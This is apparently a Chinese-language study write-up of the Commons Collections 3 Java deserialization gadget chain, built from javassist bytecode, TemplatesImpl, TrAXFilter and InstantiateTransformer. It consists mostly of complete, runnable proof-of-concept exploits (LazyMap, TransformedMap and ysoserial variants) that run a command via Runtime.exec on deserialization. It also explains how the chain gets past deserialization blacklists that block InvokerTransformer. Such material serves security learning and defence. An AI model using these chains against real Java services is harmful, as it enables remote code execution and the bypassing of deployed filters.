Java 反序列化漏洞-Apache Commons Collections3
前言
之前已经学了CC1和CC2,接下来继续学习CC3。在CC2中我们用到了javassist修改字节码并配合TemplatesImpl攻击链来使用,因此我们很自然而然的想到,如果我们直接用javassist修改字节码并配合TemplatesImpl攻击链使用,就无需用InvokerTransformer来从Runtime.class到exec()了,直接把字节码加载就行,然后用InvokerTransformer调用一下newTransformer()即可:
CC3产生的目的就是为了绕过⼀些规则对InvokerTransformer的限制。也就是说,有些反序列化的过滤器的黑名单中有了InvokerTransformer,因此需要绕过。
javassist+TemplatesImpl
这个组合我在CC2中就已经用过了,就直接贴代码了
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Javassist_test {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault(); // 获取javassist维护的类池
CtClass cc = pool.makeClass("Test"); // 创建一个空类Test
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd); //insertBefore创建 static 代码块,并插入代码
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //setSuperclass更改父类
byte[] classBytes = cc.toBytecode(); //toBytecode()获取修改的字节码
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates,targetByteCodes);
name.set(templates,"aaa");
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
按照上述代码,我们需要找个地方来调用newTransformer()方法去触发我们的 TemplatesImpl 攻击。
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了。
接下来就是想办法调用这个构造器了,于是找到了CommonsCollections中的这个InstantiateTransformer类
org.apache.commons.collections.functors.InstantiateTransformer
InstantiateTransformer类的transform方法,很明显可以通过反射机制调用有参构造函数实例化一个对象,因此我们预想中的代码应该是这么执行的
Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter").getConstructor( Templates.class ).newInstance(templates )
构造POC
明确了目标后就很简单了,ConstantTransformer类的transform方法会返回它构造器的参数
再配合上CC1一直用的ChainedTransformer类,我们可以得到如下POC
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault(); // 获取javassist维护的类池
CtClass cc = pool.makeClass("Test"); // 创建一个空类Test
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd); //insertBefore创建 static 代码块,并插入代码
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //setSuperclass更改父类
byte[] classBytes = cc.toBytecode(); //toBytecode()获取修改的字节码
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates,targetByteCodes);
name.set(templates,"aaa");
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
}
}
但这样显然还不行,毕竟是反序列化漏洞,我们的POC现在已经构造好chain了,因此自然而然我们可以想到结合CC1 进行攻击利用
基于LazyMap
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC3_lazymap {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); // 获取javassist维护的类池
CtClass cc = pool.makeClass("Test"); // 创建一个空类Test
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd); //insertBefore创建 static 代码块,并插入代码
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //setSuperclass更改父类
byte[] classBytes = cc.toBytecode(); //toBytecode()获取修改的字节码
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates, targetByteCodes);
name.set(templates, "aaa");
tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
// 创建LazyMap的动态代理类实例
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, mapProxy);
ByteArrayOutputStream exp=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(exp);
oos.writeObject(invocationHandler);
oos.flush();
oos.close();
ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois=new ObjectInputStream(out);
Object obj=(Object) ois.readObject();
}
}
基于TransformedMap
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.annotation.Generated;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC3_lazymap {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); // 获取javassist维护的类池
CtClass cc = pool.makeClass("Test"); // 创建一个空类Test
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd); //insertBefore创建 static 代码块,并插入代码
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //setSuperclass更改父类
byte[] classBytes = cc.toBytecode(); //toBytecode()获取修改的字节码
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates, targetByteCodes);
name.set(templates, "aaa");
tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<Object, Object>();
map.put("value","111");
// 这里 key 一定是 下面实例化 AnnotationInvocationHandler 时传入的注解类中存在的属性值
// 并且这里的值的一定不是属性值的类型
Map<Object, Object> transformedMap =TransformedMap.decorate(map,null,chain);
// for (Map.Entry<Object, Object> entry : Transformedmap.entrySet()) {
// System.out.println(entry.setValue("aaa"));
// }
Class<?> c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);
//InvocationHandler handler = (InvocationHandler) constructor.newInstance(java.lang.annotation.Target.class, transformedMap);
//注解类选哪个都行,如Generated和Target类都行,而注解类的属性也是选哪个都可以,如Generated类的value,date,comments
ByteArrayOutputStream exp=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(exp);
oos.writeObject(handler);
oos.flush();
oos.close();
ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois=new ObjectInputStream(out);
Object obj=(Object) ois.readObject();
}
}
ysoserial中的POC
前面也说过,CC3的话尽可能不使用InvocationHandler,因为有些反序列化的过滤器的黑名单中有了InvokerTransformer,在ysoserial中的POC,其实走的就是TransformedMap攻击链,因为不需要InvokerTransformer,所以把InvokerTransformer改成object即可
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.annotation.Generated;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC3_lazymap {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); // 获取javassist维护的类池
CtClass cc = pool.makeClass("Test"); // 创建一个空类Test
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd); //insertBefore创建 static 代码块,并插入代码
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //setSuperclass更改父类
byte[] classBytes = cc.toBytecode(); //toBytecode()获取修改的字节码
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates, targetByteCodes);
name.set(templates, "aaa");
tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<Object, Object>();
map.put("value","111");
// 这里 key 一定是 下面实例化 AnnotationInvocationHandler 时传入的注解类中存在的属性值
// 并且这里的值的一定不是属性值的类型
Map<Object, Object> transformedMap =TransformedMap.decorate(map,null,chain);
// for (Map.Entry<Object, Object> entry : Transformedmap.entrySet()) {
// System.out.println(entry.setValue("aaa"));
// }
Class<?> c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);
//InvocationHandler handler = (InvocationHandler) constructor.newInstance(java.lang.annotation.Target.class, transformedMap);
//注解类选哪个都行,如Generated和Target类都行,而注解类的属性也是选哪个都可以,如Generated类的value,date,comments
Object o=constructor.newInstance(Generated.class, transformedMap);
ByteArrayOutputStream exp=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(exp);
//oos.writeObject(handler);
oos.writeObject(o);
oos.flush();
oos.close();
ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois=new ObjectInputStream(out);
Object obj=(Object) ois.readObject();
}
}
总结
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
参考文章
https://su18.org/post/ysoserial-su18-2/#traxfilter
https://ego00.blog.csdn.net/article/details/119780324